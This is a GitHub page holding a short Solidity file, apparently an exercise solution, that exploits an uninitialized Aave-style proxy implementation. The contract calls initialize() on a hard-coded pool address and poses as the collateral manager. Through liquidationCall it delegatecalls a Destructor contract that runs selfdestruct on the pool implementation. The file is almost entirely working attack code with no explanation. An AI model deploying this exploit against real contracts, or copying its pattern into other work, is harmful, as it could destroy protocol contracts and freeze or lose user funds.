-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathAAVE Proxy Security.sol
More file actions
32 lines (26 loc) · 877 Bytes
/
AAVE Proxy Security.sol
File metadata and controls
32 lines (26 loc) · 877 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.5;
interface IPool {
function initialize(address) external;
}
contract Contract {
IPool pool = IPool(0x987115C38Fd9Fd2aA2c6F1718451D167c13a3186);
constructor() {
pool.initialize(address(this));
}
function getLendingPoolCollateralManager() external view returns (address) {
return address(this);
}
function liquidationCall(address,address,address,uint256,bool) external returns(uint, string memory) {
address destructorAddress = 0x5FbDB2315678afecb367f032d93F642f64180aa3;
(bool success, ) = destructorAddress.delegatecall(abi.encodeWithSignature("destruct()"));
require(success);
return(0, "");
}
}
// deployed @ 0x5FbDB2315678afecb367f032d93F642f64180aa3
contract Destructor {
function destruct() external{
selfdestruct(msg.sender);
}
}